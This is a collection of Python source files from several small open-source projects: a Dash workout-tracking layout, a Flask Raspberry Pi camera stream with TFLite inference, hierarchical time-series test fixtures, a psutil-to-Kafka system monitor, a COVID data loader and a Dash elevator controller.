#### File: hiitpi/hiitpi/layout.py ```python import plotly.express as px import plotly.graph_objects as go import dash_core_components as dcc import dash_html_components as html from .workout import WORKOUTS COLORS = {"graph_bg": "#1E1E1E", "text": "#696969"} def layout_config_panel(current_user): """The Dash app layout for the user config panel""" title = html.Div([html.H5(f"HIIT PI")], className="app__header") subtitle = html.Div([html.P(f"Welcome, {current_user}!")], className="app__header") dropdown_options = [{"label": "Random", "value": "random"}] + [ {"label": v.name, "value": k} for k, v in WORKOUTS.items() ] dropdown_menu = html.Div( [ html.Div( [ dcc.Dropdown( id="workout-dropdown", options=dropdown_options, placeholder="Select a workout", searchable=True, clearable=False, ) ], className="six columns flex-display", ), html.Div( [ html.Button( id="workout-stop-btn", n_clicks=0, children="Done!", className="button", ), html.A( id="user-logout-btn", n_clicks=0, children="Exit?", className="button", href="/user_logout", ), ], className="six columns flex-display", ), ], className="row app__dropdown flex-display", ) lines_graph = html.Div( [ dcc.Graph( id="live-update-graph", figure={ "data": [ { "name": "Inference Time", "type": "scatter", "y": [], "mode": "lines", "line": {"color": "#e6af19"}, }, { "name": "Pose Score", "type": "scatter", "y": [], "yaxis": "y2", "mode": "lines", "line": {"color": "#6145bf"}, }, ], "layout": { "margin": {"l": 60, "r": 60, "b": 10, "t": 20}, "height": 180, "autosize": True, "font": { "family": "Comfortaa", "color": COLORS["text"], "size": 10, }, "plot_bgcolor": COLORS["graph_bg"], "paper_bgcolor": COLORS["graph_bg"], "xaxis": { "ticks": "", "showticklabels": False, "showgrid": False, }, "yaxis": { # "autorange": True, "range": [10, 30], "title": "Inference Time (ms)", }, "yaxis2": { # "autorange": True, "range": [0, 1], "title": "Pose Score", "overlaying": "y", "side": "right", }, "legend": { "x": 0.5, "y": -0.2, "xanchor": "center", "yanchor": "middle", "orientation": "h", }, }, }, config={ "displayModeBar": False, "responsive": True, "scrollZoom": True, }, ) ] ) workout_name = html.Div([html.P(id="workout_name")], className="app__header") def indicator(id_value, text): return html.Div( [ html.P(id=id_value, className="indicator_value"), html.P(text, className="twelve columns indicator_text"), ], className="six columns indicator pretty_container", ) indicators = html.Div( [ indicator("indicator-reps", "REPS"), indicator("indicator-pace", "PACE (/30s)"), ], className="row indicators flex-display", ) live_update_graph = html.Div( [ lines_graph, dcc.Interval(id="live-update-interval", interval=50, n_intervals=0), ] ) bars_graph = html.Div( [ html.Button( id="update-leaderboard-btn", n_clicks=0, children="Leaderboard", className="button", ), dcc.Graph( id="leaderboard-graph", config={ "displayModeBar": False, "responsive": True, "scrollZoom": True, }, ), ] ) return html.Div( [ title, subtitle, live_update_graph, dropdown_menu, workout_name, indicators, bars_graph, ], className="four columns app__config_panel", ) def layout_videostream(): """The Dash app layout for the video stream""" videostream = html.Img(id="videostream") return html.Div([videostream], className="eight columns app__video_image") def layout_homepage(current_user): """The Dash app home page layout""" return html.Div( [layout_videostream(), layout_config_panel(current_user)], className="row app__container", ) def layout_login(): """The Dash app login oage layout""" header = html.Div( [ html.H2("HIIT PI"), dcc.Markdown( id="welcome-intro-md", children=""" A workout trainer [Dash](https://dash.plot.ly/) app that helps track your [HIIT](https://en.wikipedia.org/wiki/High-intensity_interval_training) workouts by analyzing real-time video streaming from your sweet [Pi](https://www.raspberrypi.org/). """, ), dcc.Markdown( id="welcome-intro-sub-md", children="Powered by [TensorFlow Lite](https://www.tensorflow.org/lite) and [Edge TPU](https://cloud.google.com/edge-tpu) with ❤️.", ), ], className="app__header", ) login_form = html.Div( [ html.Form( [ dcc.Input( id="user_name_input", name="user_name_form", type="text", placeholder="<NAME>", maxLength=20, minLength=1, required=True, ), html.Button( id="user-login-btn", children="ENTER", type="submit", n_clicks=0, className="button", ), ], action="/user_login", method="POST", autoComplete="off", className="form-inline", title="Enter your player name.", ) ], className="flex-display", style={"margin-top": "4rem"}, ) welcome_jumbotron = html.Div([header, login_form], className="header_container") return html.Div( [welcome_jumbotron], className="welcome_login_form page-background-image flex-display", ) def layout(): return html.Div([dcc.Location(id="url", refresh=True), html.Div(id="page-content")]) ```
{ "source": "jingw222/raspicam_vision_lite", "score": 2 }
#### File: raspicam_vision_lite/app/__init__.py ```python import os import sys import logging from flask import Flask, Response, render_template, request, session from .camera import VideoStreamCV2, VideoStreamPiCam, VideoStreamCustom from .interpreter import TFLiteInterpreter from .stream import gen from config import config logging.basicConfig( stream=sys.stdout, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt=' %I:%M:%S ', level="INFO" ) logger = logging.getLogger(__name__) basepath = os.path.dirname(__file__) def create_app(config_name): app = Flask(__name__) app.config.from_object(config[config_name]) # Builds a camera instance from one of the three # camera = VideoStreamCV2() # camera = VideoStreamPiCam() camera = VideoStreamCustom() @app.route('/', methods=['GET', 'POST']) def index(): if session.get('candidates') is None: model_dir = os.path.join(basepath, 'models') candidates = [d for d in next(os.walk(model_dir))[1] if not d.startswith('.')] logger.info('Fetched model candidates from directory {}'.format(model_dir)) session['candidates'] = candidates if request.method == 'POST': logger.info('Request from User-Agent: {}'.format(request.headers.get('User-Agent'))) target = request.form.get("target") if session.get('target') is not None and session.get('target')==target: logger.info('Served model not changed') return '', 204 else: session['target'] = target logger.info('Serving model: {}'.format(target)) return render_template('index.html', candidates=session.get('candidates'), target=session.get('target')) @app.route('/videostream/<target>', methods=['GET', 'POST']) def videostream(target): model = TFLiteInterpreter(target) return Response(gen(camera, model), mimetype='multipart/x-mixed-replace; boundary=frame') def shutdown_server(): shutdown = request.environ.get('werkzeug.server.shutdown') if shutdown is None: raise RuntimeError('Not running with the Werkzeug Server') session.clear() logger.info('Session cleared.') shutdown() logger.info('Server shut down.') @app.route('/shutdown', methods=['POST']) def shutdown(): if request.method == 'POST': shutdown_server() return 'Server shut down. <a href="/">Back home</a> and restart.' return app ``` #### File: raspicam_vision_lite/app/stream.py ```python import sys import logging import cv2 import multiprocessing as mp TOP_K = 5 logging.basicConfig( stream=sys.stdout, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt=' %I:%M:%S ', level="INFO" ) logger = logging.getLogger(__name__) mplogger = mp.log_to_stderr(logging.INFO) # Sets up two Queues dedicated for video streaming vs model inferencing asynchronously frame_in_queue = mp.Queue(maxsize=1) label_out_queue = mp.Queue(maxsize=1) def get_inference(model, input_queue, output_queue): def preds_to_text(preds, elapsed_time, top=TOP_K): top_indices = preds.argsort()[-top:][::-1] result = [(model.labels[i], preds[i]) for i in top_indices] # (labels, scores) result.sort(key=lambda x: x[1], reverse=True) result.insert(0, ('Elapsed time', elapsed_time)) text = ['{}: {}'.format(*item) for item in result] return text while True: if not input_queue.empty(): # Gets frame from the input queue if exists frame = input_queue.get() preds, elapsed_time = model.inference(frame) # Ouputs predictions in plain text onto the output queue text = preds_to_text(preds, elapsed_time, TOP_K) if output_queue.empty(): output_queue.put(text) def gen(camera, model): # Terminates existing children processes p_active_children = mp.active_children() if p_active_children: for p_ac in p_active_children: p_ac.terminate() p_ac.join() mplogger.info('Terminated child process {} (pid {}).'.format(p_ac.name, p_ac.pid)) # Initiates a new child process daemon_name = 'TFLiteInterpreterDaemon_{}'.format(model.target) p = mp.Process(name=daemon_name, target=get_inference, args=(model, frame_in_queue, label_out_queue), daemon=True) p.start() mplogger.info('Started child process {} (pid {}).'.format(p.name, p.pid)) # Sets properties for label overlays on frames FONT_FACE = cv2.FONT_HERSHEY_PLAIN FONT_SCALE = 1 FONT_COLOR_HEADER = (8, 109, 252) FONT_COLOR_LABEL = (255, 255, 255) THICKNESS = 1 LINE_TYPE = cv2.LINE_AA REC_COLOR = (64, 64, 64) ALPHA = 0.6 ANCHOR = (20, 20) text_maxlength = max((len(x) for x in model.labels)) (_, text_height), _ = cv2.getTextSize('test text', FONT_FACE, FONT_SCALE, THICKNESS) rectangle_shape = (text_maxlength*9, text_height*(2*(TOP_K+2)+1)) # Starts generating video frames indefinitely label_text = '' while True: frame = next(camera) overlay = frame.copy() # Sets the current frame onto frame_in_queue, if the input queue is empty if frame_in_queue.empty(): frame_in_queue.put(frame) # Fetches the results from label_out_queue, if the output queue is not empty if not label_out_queue.empty(): label_text = label_out_queue.get() # Draws label overlays if label_text: overlay = cv2.rectangle(overlay, ANCHOR, rectangle_shape, REC_COLOR, -1) for i, text in enumerate(label_text): if i == 0: FONT_COLOR = FONT_COLOR_HEADER else: FONT_COLOR = FONT_COLOR_LABEL text_pos = (ANCHOR[0]+text_height, ANCHOR[1]+2*(i+1)*text_height) overlay = cv2.putText(overlay, text, text_pos, FONT_FACE, FONT_SCALE, FONT_COLOR, THICKNESS, LINE_TYPE) overlay = cv2.addWeighted(frame, ALPHA, overlay, 1 - ALPHA, 0) # Encodes image into JPEG in order to correctly display the video stream. ret, overlay = cv2.imencode('.jpg', overlay) yield (b'--frame\r\nContent-Type: image/jpeg\r\n\r\n' + overlay.tobytes() + b'\r\n\r\n') ```
{ "source": "jingw2/scikit-hts", "score": 2 }
#### File: scikit-hts/tests/conftest.py ```python from datetime import datetime from io import StringIO import numpy import pandas import pytest from hts.hierarchy import HierarchyTree from hts.utilities.load_data import load_hierarchical_sine_data, load_mobility_data @pytest.fixture def events(): s = """ts,start_latitude,start_longitude,city 2019-12-06 12:29:16.789,53.565173,9.959418,hamburg 2019-12-06 12:28:37.326,50.120962,8.674268,frankfurt 2019-12-06 12:27:07.055,52.521168,13.410618,berlin 2019-12-06 12:26:25.989,51.492683,7.417612,dortmund 2019-12-06 12:25:40.222,52.537730,13.417372,berlin 2019-12-06 12:25:25.309,50.948847,6.951802,cologne 2019-12-06 12:23:53.633,48.166799,11.577420,munich 2019-12-06 12:23:05.292,50.113883,8.675192,frankfurt 2019-12-06 12:22:56.059,50.114847,8.672653,frankfurt 2019-12-06 12:22:39.471,50.943082,6.959962,cologne""" df = pandas.read_csv(StringIO(s), index_col='ts', sep=',') df.index = pandas.to_datetime(df.index) return df @pytest.fixture def n_tree(): """ This is the format of this tree t 1 a b c 3 aa ab ba bb ca cb 6 aaa aab aba abb baa bab bba bbb caa cab cba cbb 12 Resulting in the summing matrix: y_t = S * b_t t 1 1 1 1 1 1 1 1 1 1 1 1 a 1 1 1 1 0 0 0 0 0 0 0 0 b 0 0 0 0 1 1 1 1 0 0 0 0 c 0 0 0 0 0 0 0 0 1 1 1 1 aa 1 1 0 0 0 0 0 0 0 0 0 0 ab 0 0 1 1 0 0 0 0 0 0 0 0 aaa ba 0 0 0 0 1 1 0 0 0 0 0 0 aab bb 0 0 0 0 0 0 1 1 0 0 0 0 aba ca 0 0 0 0 0 0 0 0 1 1 0 0 abb cb 0 0 0 0 0 0 0 0 0 0 1 1 baa aaa 1 0 0 0 0 0 0 0 0 0 0 0 bab aab 0 1 0 0 0 0 0 0 0 0 0 0 bba aba 0 0 1 0 0 0 0 0 0 0 0 0 bbb abb 0 0 0 1 0 0 0 0 0 0 0 0 caa baa 0 0 0 0 1 0 0 0 0 0 0 0 cab bab 0 0 0 0 0 1 0 0 0 0 0 0 cba bba 0 0 0 0 0 0 1 0 0 0 0 0 cbb bbb 0 0 0 0 0 0 0 1 0 0 0 0 caa 0 0 0 0 0 0 0 0 1 0 0 0 cab 0 0 0 0 0 0 0 0 0 1 0 0 cba 0 0 0 0 0 0 0 0 0 0 1 0 cbb 0 0 0 0 0 0 0 0 0 0 0 1 """ t = ('t', 1) t1 = [('a', 2), ('b', 2), ('c', 3)] t2 = [('aa', 4), ('ab', 5), ('ba', 6), ('bb', 4), ('ca', 5), ('cb', 6)] t3 = [('aaa', 4), ('aab', 5), ('aba', 6), ('abb', 4), ('baa', 5), ('bab', 6), ('bba', 5), ('bbb', 6), ('caa', 5), ('cab', 6), ('cba', 5), ('cbb', 6)] test_t = HierarchyTree(key=t[0], item=t[1]) for i, j in t1: test_t.add_child(key=i, item=j) for c in test_t.children: for i, j in t2: if i.startswith(c.key): c.add_child(key=i, item=j) for c in test_t.children: for c2 in c.children: for i, j in t3: if i.startswith(c2.key): c2.add_child(key=i, item=j) return test_t @pytest.fixture def hierarchical_sine_data(): s, e = datetime(2019, 1, 15), datetime(2019, 10, 15) return load_hierarchical_sine_data(s, e) @pytest.fixture def hierarchical_mv_data(): return load_mobility_data() @pytest.fixture def mv_tree(hierarchical_mv_data): hier = { 'total': ['CH', 'SLU', 'BT', 'OTHER'], 'CH': ['CH-07', 'CH-02', 'CH-08', 'CH-05', 'CH-01'], 'SLU': ['SLU-15', 'SLU-01', 'SLU-19', 'SLU-07', 'SLU-02'], 'BT': ['BT-01', 'BT-03'], 'OTHER': ['WF-01', 'CBD-13'] } exogenous = {k: ['precipitation', 'temp'] for k in hierarchical_mv_data.columns if k not in ['precipitation', 'temp']} return HierarchyTree.from_nodes(hier, hierarchical_mv_data, exogenous=exogenous) @pytest.fixture def sine_hier(): return {'total': ['a', 'b', 'c'], 'a': ['aa', 'ab'], 'aa': ['aaa', 'aab'], 'b': ['ba', 'bb'], 'c': ['ca', 'cb', 'cc', 'cd']} @pytest.fixture def uv_tree(sine_hier, hierarchical_sine_data): hsd = hierarchical_sine_data.resample('1H').apply(sum).head(400) return HierarchyTree.from_nodes(sine_hier, hsd) @pytest.fixture def load_df_and_hier_uv(sine_hier, hierarchical_sine_data): return hierarchical_sine_data.resample('1H').apply(sum), sine_hier @pytest.fixture def sample_ds(): cid = numpy.repeat([10, 500], 40) ckind = numpy.repeat(["a", "b", "a", "b"], 20) csort = [30, 53, 26, 35, 42, 25, 17, 67, 20, 68, 46, 12, 0, 74, 66, 31, 32, 2, 55, 59, 56, 60, 34, 69, 47, 15, 49, 8, 50, 73, 23, 62, 24, 33, 22, 70, 3, 38, 28, 75, 39, 36, 64, 13, 72, 52, 40, 16, 58, 29, 63, 79, 61, 78, 1, 10, 4, 6, 65, 44, 54, 48, 11, 14, 19, 43, 76, 7, 51, 9, 27, 21, 5, 71, 57, 77, 41, 18, 45, 37] cval = [11, 9, 67, 45, 30, 58, 62, 19, 56, 29, 0, 27, 36, 43, 33, 2, 24, 71, 41, 28, 50, 40, 39, 7, 53, 23, 16, 37, 66, 38, 6, 47, 3, 61, 44, 42, 78, 31, 21, 55, 15, 35, 25, 32, 69, 65, 70, 64, 51, 46, 5, 77, 26, 73, 76, 75, 72, 74, 10, 57, 4, 14, 68, 22, 18, 52, 54, 60, 79, 12, 49, 63, 8, 59, 1, 13, 20, 17, 48, 34] df = pandas.DataFrame({"id": cid, "kind": ckind, "sort": csort, "val": cval}) df = df.set_index("id", drop=False) df.index.name = None return df @pytest.fixture def visnights_hier(): return {'total': ['NSW', 'OTH', 'WAU', 'SAU', 'QLD', 'VIC'], 'NSW': ['NSW_Metro', 'NSW_NthCo', 'NSW_NthIn', 'NSW_SthCo', 'NSW_SthIn'], 'OTH': ['OTH_Metro', 'OTH_NoMet'], 'QLD': ['QLD_Cntrl', 'QLD_Metro', 'QLD_NthCo'], 'SAU': ['SAU_Coast', 'SAU_Inner', 'SAU_Metro'], 'VIC': ['VIC_EstCo', 'VIC_Inner', 'VIC_Metro', 'VIC_WstCo'], 'WAU': ['WAU_Coast', 'WAU_Inner', 'WAU_Metro']} @pytest.fixture def hierarchical_visnights_data(): vis_idx = pandas.date_range(start="1998-01-01", periods=8, freq="QS") vis_values = {'NSW_Metro': [9047, 6962, 6872, 7147, 7957, 6542, 6330, 7509], 'NSW_NthCo': [8566, 7124, 4717, 6269, 9494, 5401, 5543, 6383], 'NSW_NthIn': [2978, 3478, 3015, 3758, 3791, 3395, 3626, 3691], 'NSW_SthCo': [5818, 2466, 1928, 2798, 4854, 2760, 2042, 2651], 'NSW_SthIn': [2680, 3011, 3329, 2418, 3224, 2428, 2893, 2815], 'OTH_Metro': [3438, 2677, 3794, 3304, 3511, 2872, 3833, 3143], 'OTH_NoMet': [2073, 1788, 2345, 1944, 2166, 1804, 1613, 1652], 'QLD_Cntrl': [2748, 4041, 5344, 4260, 4186, 4238, 6415, 3710], 'QLD_Metro': [12106, 7787, 11380, 9311, 12672, 9583, 11193, 9871], 'QLD_NthCo': [2137, 2270, 4890, 2622, 2483, 3378, 5578, 4279], 'SAU_Coast': [2592, 1376, 1080, 1498, 2248, 1673, 1105, 1503], 'SAU_Inner': [895, 979, 980, 1509, 964, 997, 1058, 771], 'SAU_Metro': [2881, 2125, 2285, 1786, 2294, 2197, 2034, 2253], 'VIC_EstCo': [3382, 1828, 1352, 1493, 2897, 1548, 914, 1342], 'VIC_Inner': [5327, 4441, 3816, 3860, 4589, 4070, 4114, 3723], 'VIC_Metro': [7490, 5198, 5244, 6274, 9187, 4992, 4746, 4685], 'VIC_WstCo': [2442, 961, 756, 1272, 2385, 1329, 759, 942], 'WAU_Coast': [3067, 3334, 4366, 4522, 3579, 3409, 3979, 3365], 'WAU_Inner': [695, 558, 1006, 1173, 398, 596, 951, 832], 'WAU_Metro': [3076, 2155, 2787, 2753, 3520, 3160, 2708, 2294], 'NSW': [29088, 23041, 19861, 22390, 29320, 20527, 20434, 23049], 'QLD': [16992, 14097, 21614, 16193, 19341, 17199, 23186, 17861], 'SAU': [6368, 4480, 4345, 4793, 5505, 4867, 4196, 4526], 'VIC': [18641, 12428, 11168, 12899, 19058, 11939, 10534, 10692], 'WAU': [6837, 6047, 8159, 8447, 7497, 7165, 7638, 6491], 'OTH': [5511, 4465, 6139, 5248, 5677, 4676, 5446, 4796], 'total': [83437, 64558, 71285, 69971, 86398, 66373, 71434, 67415]} return pandas.DataFrame(vis_values, index=vis_idx) @pytest.fixture def load_df_and_hier_visnights(visnights_hier, hierarchical_visnights_data): return hierarchical_visnights_data, visnights_hier ```
{ "source": "jingwangian/aiven", "score": 3 }
#### File: app/monitor/monitor.py ```python import psutil import json import logging import psycopg2 from datetime import datetime from dataclasses import dataclass logger = logging.getLogger(__name__) @dataclass class CPUMetric: name = 'cpu_metric' machine_id: int user: float nice: float system: float idle: float created_at: str @classmethod def load_from_string(cls, str_value: str): '''Return a CPUMetric instance ''' value = json.loads(str_value) return cls(**value) def dump_to_string(self): value = json.dumps({ "machine_id": self.machine_id, "user": self.user, "nice": self.nice, "system": self.system, "idle": self.idle, "created_at": self.created_at }) return value def save_to_db(self, connection): insert_str = f'INSERT INTO {self.name} \ (machine_id, "user",nice,system,idle,created_at) \ values (%s, %s,%s,%s,%s,%s)' with connection.cursor() as cur: try: cur.execute(insert_str, (self.machine_id, self.user, self.nice, self.system, self.idle, self.created_at)) logger.info(f"inserted one metric into table: {self.name}") except psycopg2.Error as e: logger.error('Failed to insert data into table: %s', e) connection.commit() @classmethod def create_table(cls, connection): ddl = '''create table if not exists cpu_metric ( machine_id int not null, "user" float, nice float, system float, idle float, created_at TIMESTAMPTZ not null);''' with connection.cursor() as cur: try: cur.execute(ddl) logger.info(f"Create table {cls.name} successfully") except psycopg2.Error as e: logger.error(f'Failed to created table {cls.name} : %s', e) connection.commit() @dataclass class MemMetric: name = 'mem_metric' machine_id: int total: int available: int percent: float used: int free: int created_at: str @classmethod def load_from_string(cls, str_value: str): '''Return a MemMetric instance ''' value = json.loads(str_value) return cls(**value) def dump_to_string(self): value = json.dumps({ "machine_id": self.machine_id, "total": self.total, "available": self.available, "percent": self.percent, "used": self.used, "free": self.free, "created_at": self.created_at }) return value def save_to_db(self, connection): insert_str = f'INSERT INTO {self.name} \ (machine_id,total,available,percent,used,free,created_at) \ values (%s,%s,%s,%s,%s,%s,%s)' with connection.cursor() as cur: try: cur.execute(insert_str, (self.machine_id, self.total, self.available, self.percent, self.used, self.free, self.created_at)) logger.info(f"inserted one metric into table: {self.name}") except psycopg2.Error as e: logger.error('Failed to insert data into table: %s', e) connection.commit() @classmethod def create_table(cls, connection): ddl = '''create table if not exists mem_metric( machine_id int not null, total bigint, available bigint, percent float, used bigint, free bigint, created_at TIMESTAMPTZ not null);''' with connection.cursor() as cur: try: cur.execute(ddl) logger.info(f"Create table {cls.name} successfully") except psycopg2.Error as e: logger.error(f'Failed to created table {cls.name} : %s', e) connection.commit() @dataclass class DiskMetric: name = 'disk_metric' machine_id: int total: int used: int free: int percent: float created_at: str @classmethod def load_from_string(cls, str_value: str): '''Return a DiskMetric instance ''' value = json.loads(str_value) return cls(**value) def dump_to_string(self): value = json.dumps({ "machine_id": self.machine_id, "total": self.total, "used": self.used, "free": self.free, "percent": self.percent, "created_at": self.created_at }) return value def save_to_db(self, connection): insert_str = f'INSERT INTO {self.name} \ (machine_id,total,used,free,percent,created_at) \ values (%s,%s,%s,%s,%s,%s)' with connection.cursor() as cur: try: cur.execute(insert_str, (self.machine_id, self.total, self.used, self.free, self.percent, self.created_at)) logger.info(f"inserted one metric into table: {self.name}") except psycopg2.Error as e: logger.error('Failed to insert data into table: %s', e) connection.commit() @classmethod def create_table(cls, connection): ddl = '''create table if not exists disk_metric( time TIMESTAMPTZ default CURRENT_TIMESTAMP, machine_id int, total bigint, used bigint, free bigint, percent float, created_at TIMESTAMPTZ not null);''' with connection.cursor() as cur: try: cur.execute(ddl) logger.info(f"Create table {cls.name} successfully") except psycopg2.Error as e: logger.error(f'Failed to created table {cls.name} : %s', e) connection.commit() class SystemMonitor: def __init__(self, machine_id): '''Init a system monitor instance ''' self.machine_id = machine_id def get_cpu_percent(self) -> CPUMetric: cpu = psutil.cpu_times_percent() return CPUMetric(self.machine_id, cpu.user, cpu.nice, cpu.system, cpu.idle, datetime.now().isoformat()) def get_memory_usage(self) -> MemMetric: mem = psutil.virtual_memory() return MemMetric(machine_id=self.machine_id, total=mem.total, available=mem.available, percent=mem.percent, used=mem.used, free=mem.free, created_at=datetime.now().isoformat()) def get_disk_usage(self) -> DiskMetric: disk = psutil.disk_usage('/') return DiskMetric(machine_id=self.machine_id, total=disk.total, used=disk.used, free=disk.free, percent=disk.free, created_at=datetime.now().isoformat()) def get_metrics(): return [CPUMetric, MemMetric, DiskMetric] ``` #### File: app/utils/pubsub.py ```python import logging # from collections import defaultdict from kafka import KafkaProducer from kafka import KafkaConsumer from app.utils.environment import Environment logger = logging.getLogger(__name__) class ProducerError(Exception): pass class Producer: def __init__(self, topic_name: str): '''Init a producer instance ''' self.topic_name = topic_name self.producer = None def connect(self): '''Connect to Kafka service ''' environment = Environment() logger.info('environment = %s', environment) try: host_addr = f'{environment.KAFKA_HOST}:{environment.KAFKA_PORT}' logger.info(f'Connecting to kafka at {host_addr}') self.producer = KafkaProducer( bootstrap_servers=[host_addr], ssl_keyfile=environment.KAFKA_SSL_KEYFILE, ssl_cafile=environment.KAFKA_SSL_CAFILE, ssl_certfile=environment.KAFKA_SSL_CERTFILE, security_protocol=environment.KAFKA_SSL_PROTOCOL) except Exception as ex: logger.error('Exception while connecting Kafka: %s', ex) # print(str(ex)) self.producer = None raise ProducerError('Failed to connect to kafka') def publish_message(self, key: str, value: str): '''Publish the message to kafka ''' producer_instance = self.producer try: key_bytes = bytes(key, encoding='utf-8') value_bytes = bytes(value, encoding='utf-8') producer_instance.send(self.topic_name, key=key_bytes, value=value_bytes) producer_instance.flush() logger.info(f'Message with key {key} published to {self.topic_name} successfully.') except Exception as ex: logger.error(f'Exception in publishing message with key {key} to {self.topic_name}: %s', ex) raise ex class Consumer: @classmethod def get_consumer(cls): '''Generate a consumer instance ''' environment = Environment() host_addr = f'{environment.KAFKA_HOST}:{environment.KAFKA_PORT}' consumer = KafkaConsumer(environment.KAFKA_TOPIC, bootstrap_servers=host_addr, ssl_keyfile=environment.KAFKA_SSL_KEYFILE, ssl_cafile=environment.KAFKA_SSL_CAFILE, ssl_certfile=environment.KAFKA_SSL_CERTFILE, security_protocol=environment.KAFKA_SSL_PROTOCOL) return consumer ```
{ "source": "jingwangian/corona-au", "score": 3 }
#### File: app/services/covid_time_series.py ```python import numpy as np import pandas as pd from config import Config base_path = Config.DATA_BASE_PATH class COVIDTimeSeriesData: def __init__(self): self.confirmed_file_name = f'{base_path}/data/csse_covid_19_time_series/time_series_19-covid-Confirmed.csv' self.death_file_name = f'{base_path}/data/csse_covid_19_time_series/time_series_19-covid-Deaths.csv' self.recovered_file_name = f'{base_path}/data/csse_covid_19_time_series/time_series_19-covid-Recovered.csv' self.death_df = None self.confirmed_df = None self.recovered_df = None def get_confirmed_data(self): if self.confirmed_df is None: df = pd.read_csv(self.confirmed_file_name) df = df[df['Country/Region'] == 'Australia'] self.confirmed_df = self.date_series(df) return self.confirmed_df def get_death_data(self): if self.death_df is None: df = pd.read_csv(self.death_file_name) df = df[df['Country/Region'] == 'Australia'] self.death_df = self.date_series(df) return self.death_df def get_recover_data(self): if self.recovered_df is None: df = pd.read_csv(self.recovered_file_name) df = df[df['Country/Region'] == 'Australia'] self.recovered_df = self.date_series(df) return self.recovered_df def date_series(self, df): dates = df.columns[4:] columns = df['Province/State'] # print(columns) data_array = [] # print(dates) date_index = pd.DatetimeIndex(dates.to_list(), dtype='datetime64[ns]', freq='D') # print(date_index) for d in dates: rows = df[d].to_list() data_array.append(rows) new_df = pd.DataFrame(data_array, index=date_index, columns=columns.to_list()) return new_df def test2(): ts = COVIDTimeSeriesData() df = ts.get_confirmed_data() print(df.head()) print(df.columns) # print(df.index.to_list()) # print(df['New South Wales']) if __name__ == "__main__": test2() ```
{ "source": "jingwangian/elevator", "score": 2 }
#### File: elevator/src/start_controller.py ```python import dash import dash_bootstrap_components as dbc from apps.monitor import Monitor from apps.controller import Controller from apps.navbar import navbar external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css'] app = dash.Dash(__name__, external_stylesheets=[ dbc.themes.BOOTSTRAP, 'assets/app.css']) def start(): monitor = Monitor(app) controller = Controller(app) monitor.callbacks() controller.callbacks() app.layout = dbc.Container( [ navbar, dbc.Row( [ dbc.Col(monitor.layout(), id="id-left-panel", width=6), dbc.Col(controller.layout(), id="id-right-panel", width=6), ] ) ], fluid=True, style={"padding": 0} ) app.run_server(debug=False, host='0.0.0.0') if __name__ == "__main__": start() ``` #### File: elevator/src/start_elevator.py ```python import configs from apps.elevator import Elevator def main(): elevator = Elevator(current_floor=0) elevator.run() if __name__ == '__main__': main() ```